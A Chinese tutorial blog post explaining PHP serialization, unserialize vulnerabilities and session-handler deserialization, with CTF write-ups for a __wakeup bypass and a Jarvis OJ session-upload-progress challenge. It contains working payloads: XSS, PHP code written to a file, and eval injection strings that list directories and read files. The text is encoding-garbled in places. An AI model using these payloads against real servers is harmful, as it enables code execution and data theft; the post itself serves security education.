前言
之前剛接觸到反序列化概念的時(shí)候,寫過一篇?,F(xiàn)在回頭看的時(shí)候,發(fā)現(xiàn)寫的太low了。所以再重寫一篇。如果以后不滿意我就再重寫。
序列化
認(rèn)識(shí)反序列化之前,先說一下序列化,通俗地講就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?br> 序列化代碼
<?php
class Demo{
public $name = "author";
protected $sex = "sex";
private $age = 18;
}
$example = new Demo();
echo serialize($example);
?>
結(jié)果為
O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}
serialize() 函數(shù)產(chǎn)生一個(gè)可存儲(chǔ)的字符串,經(jīng)常用于序列化操作。
O 表示Object對(duì)象,4代表4個(gè)字符,即Demo
3 表示三個(gè)變量,即name、sex、age
s 表示字符串string,i 表示整型int
4、6、3 、9代表變量名的字符長度
protected 屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成%00*%00屬性名
即s:6:"*sex",兩個(gè)%00也就是空白符,一個(gè)%00長度為一,所以序列化后該屬性長度為6
private 屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成%00類名%00屬性名
即s:9:"Demoage",7個(gè)字符長度加上兩個(gè)%00為9
反序列化
反序列化就是把那串可以傳輸?shù)淖址僮兓貙?duì)象。
使用unserialize()函數(shù)對(duì)字符串進(jìn)行反序列化為對(duì)象。
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
輸出結(jié)果為
object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
魔術(shù)方法
php 有很多魔術(shù)方法,魔術(shù)函數(shù)以__開頭,在某些條件下自動(dòng)觸發(fā)。
__construct() 構(gòu)造函數(shù),一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
__destruct() 析構(gòu)函數(shù),當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用
__toString() 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用
__sleep() 先檢測是否存在該方法,如果存在先調(diào)用再執(zhí)行序列化操作
__wakeup() 先檢測是否存在該方法,如果存在先調(diào)用再執(zhí)行反序列化操作
以__wakeup()為例
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
public function __wakeup(){
$this->name = "vxeroad";
}
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
結(jié)果輸出
object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
順便說一句
當(dāng)序列化字符串表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)就會(huì)跳過__wakeup的執(zhí)行。
漏洞產(chǎn)生
如果服務(wù)器能夠接收序列化過的字符串、并且未經(jīng)過濾的把其中的變量直接放進(jìn)這些魔術(shù)方法,就很容易造成嚴(yán)重的漏洞。
比如這個(gè)demo.php
<?php
class A{
var $name = "demo";
function __destruct(){
echo $this->name;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>
payload為
test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}
test參數(shù)沒有經(jīng)過任何處理,只需要將序列化的字符串設(shè)置name,就可以覆蓋name屬性。
設(shè)置字符串為XSS代碼,反序列化后即可觸發(fā)。

再比如這個(gè)
<?php
class A{
var $name = "demo";
function __destruct(){
$fp=fopen(dirname(__FILE__)."/save.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
payload 為
test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}
即可將phpinfo寫進(jìn)save.php文件。

CTF實(shí)例
了解了反序列化的漏洞原理,我們看道CTF題目。
極客大挑戰(zhàn) 2019-web 題目
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看到index.php 接收select參數(shù),傳入序列化的字符串。進(jìn)行反序列化操作。
看到class.php文件使用了三個(gè)魔術(shù)方法。__construct 構(gòu)造函數(shù)、__wakeup 反序列化時(shí)先調(diào)用、__destruct對(duì)象銷毀時(shí)調(diào)用??吹絬sername必須為admin時(shí),才可以獲取flag。
這里的變量username、password 均是private 屬性。應(yīng)是s:14:"Nameusername",設(shè)置username為admin。
payload為
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}
接著填寫password,"Namepassword";i:100,注意是int類型
payload為
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
執(zhí)行后

既沒有獲取到username,也沒有password。
是因?yàn)閜rivate屬性。之前我們說過private被序列化的時(shí)候?qū)傩灾禃?huì)變成%00類名%00屬性名。只不過是不可見字符。
所以我們payload自然也需要加上%00字符。
payload為
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

程序走了else分支,因?yàn)榉葱蛄谢僮鲿r(shí)調(diào)用了__wakeup,username被賦值為了guest,不是admin。那么有什么辦法跳過__wakeup嗎?當(dāng)然就是上面說過的:當(dāng)序列化字符串表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)可跳過。
所以最終payload為
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

這道題目的思路就是跳過__wakeup()函數(shù)。
Session 反序列化
什么是 Sesssion ?
Session 被稱為“會(huì)話控制”。主要是指客戶端瀏覽器與服務(wù)端數(shù)據(jù)交換的對(duì)話,從瀏覽器打開到關(guān)閉,一個(gè)最簡單的會(huì)話周期
當(dāng)開始一個(gè)Session時(shí),php會(huì)嘗試從請(qǐng)求中查找會(huì)話 ID (通常通過會(huì)話 cookie),如果發(fā)現(xiàn)請(qǐng)求的Cookie、Get、Post中不存在session id,php就會(huì)自動(dòng)調(diào)用php_session_create_id函數(shù)創(chuàng)建一個(gè)新的會(huì)話,并且在response中通過set-cookie頭部發(fā)送給客戶端保存,例如登錄網(wǎng)頁時(shí)不存在session id,于是就使用了set-cookie頭。
php.ini 配置
session.save_path="" 設(shè)置session的存儲(chǔ)位置
session.save_handler="" 設(shè)定用戶自定義存儲(chǔ)函數(shù),如果想使用PHP內(nèi)置session存儲(chǔ)機(jī)制之外的可以使用這個(gè)函數(shù)
session.auto_start 指定會(huì)話模塊是否在請(qǐng)求開始時(shí)啟動(dòng)一個(gè)會(huì)話,默認(rèn)值為 0,不啟動(dòng)
session.serialize_handler 定義用來序列化/反序列化的處理器名字,默認(rèn)使用php
session.upload_progress.enabled 啟用上傳進(jìn)度跟蹤,并填充$ _SESSION變量,默認(rèn)啟用
session.upload_progress.cleanup 讀取所有POST數(shù)據(jù)(即完成上傳)后,立即清理進(jìn)度信息,默認(rèn)啟用
phpstudy的phpinfo 配置
session.save_path = "C:\phpStudy\tmp\tmp" 所有session文件存儲(chǔ)在tmp目錄下
session.save_handler = files 表明session是以文件的方式來進(jìn)行存儲(chǔ)的
session.auto_start = off 表明默認(rèn)不啟動(dòng)session
session.serialize_handler = php 表明session的默認(rèn)(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允許上傳進(jìn)度跟蹤,并填充$ _SESSION變量
session.upload_progress.cleanup on 表明所有POST數(shù)據(jù)(即完成上傳)后,立即清理進(jìn)度信息($ _SESSION變量)
session的存儲(chǔ)機(jī)制
php session的存儲(chǔ)機(jī)制是由session.serialize_handler來定義引擎的,默認(rèn)是以文件的方式存儲(chǔ)。即在C:\phpStudy\tmp\tmp 目錄下。
session.serialize_handler 定義的引擎有三種
處理器名稱------存儲(chǔ)格式
php ------ 鍵名 + 豎線 + 經(jīng)過serialize()函數(shù)序列化處理的值
php_binary ------ 鍵名的長度對(duì)應(yīng)的 ASCII 字符 + 鍵名 + 經(jīng)過serialize()函數(shù)序列化后的值
php_serialize(php>5.5.4) ------ 經(jīng)過serialize()函數(shù)序列化處理的數(shù)組
下面我們通過簡單的代碼看一下
php 處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
賦值為cseroad

session目錄存儲(chǔ)為
session|s:7:"cseroad";
session鍵名+|+序列化值
php_binary處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session目錄存儲(chǔ)為

session 字符長度7對(duì)應(yīng)的ASCII碼+鍵名session+序列化值
php_serialize 處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session 目錄存儲(chǔ)為
a:1:{s:7:"session";s:7:"cseroad";}
$_SESSION變量序列化后的值
Session 的反序列化漏洞
漏洞產(chǎn)生就是不同的處理器混合使用。在用session.serialize_handler = php_serialize存儲(chǔ)的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時(shí), | 會(huì)被當(dāng)成鍵值對(duì)的分隔符,在特定的地方會(huì)造成反序列化漏洞。
比如session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
hello.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
public $name = "cseroad";
public $age;
function __wakeup(){
echo "hello ".$this->name;
}
}
$str = new A();
echo serialize($str);
?>
在首次訪問hello.php時(shí),輸出

O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}
此時(shí)session目錄為空值
如果此時(shí)訪問session.php,并賦值session為 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

再次查看session 目錄。這里的|就是分隔符。

有了該session值,再次訪問hello.php文件時(shí),從session值里面取出name值。即可輸出hello cseroad

CTF 實(shí)例
題目:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
phpinfo查看session.serialize_handler值,存在session 反序列化

如何控制session值呢?
當(dāng)上傳文件時(shí),同時(shí)POST文件與session.upload_progress.name同名變量時(shí),當(dāng)php檢測到這種POST請(qǐng)求時(shí),它會(huì)在$_SESSION中添加一組數(shù)據(jù)。那就可以通過Session Upload Progress來設(shè)置session。

編寫上傳HTML
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
那么上傳的filename寫什么呢?和之前的思路類似,填寫分隔符加序列化的字符串。
那字符串又寫什么呢?
編寫腳本,設(shè)置處理器為php_serialize
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
設(shè)置payload為
print_r(scandir(dirname(__FILE__)));
#scandir 函數(shù)列出目錄中的文件和目錄
#dirname 函數(shù)返回路徑中的目錄部分
得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
為防轉(zhuǎn)義,在每個(gè)雙引號(hào)前加上\
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
這就是filename值。
注意添加|

可以看到存在flag文件。
接著使用file_get_contents函數(shù)讀取該路徑下flag文件。當(dāng)前目錄路徑phpinfo可看到。
payload 修改為
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
獲取序列化字符,并添加反斜杠
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
讀取flag

這道題目的思路就是自己編寫php_serialize 處理器,填寫讀取讀取文件的payload。并輸出序列化后的字符串,再利用文件上傳通過filename設(shè)置session,讀取flag。
總結(jié)
有些難懂,彎彎繞繞需要多看,多理解。
參考資料
最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入門
原理+實(shí)踐掌握(PHP反序列化和Session反序列化
一文讓PHP反序列化從入門到進(jìn)階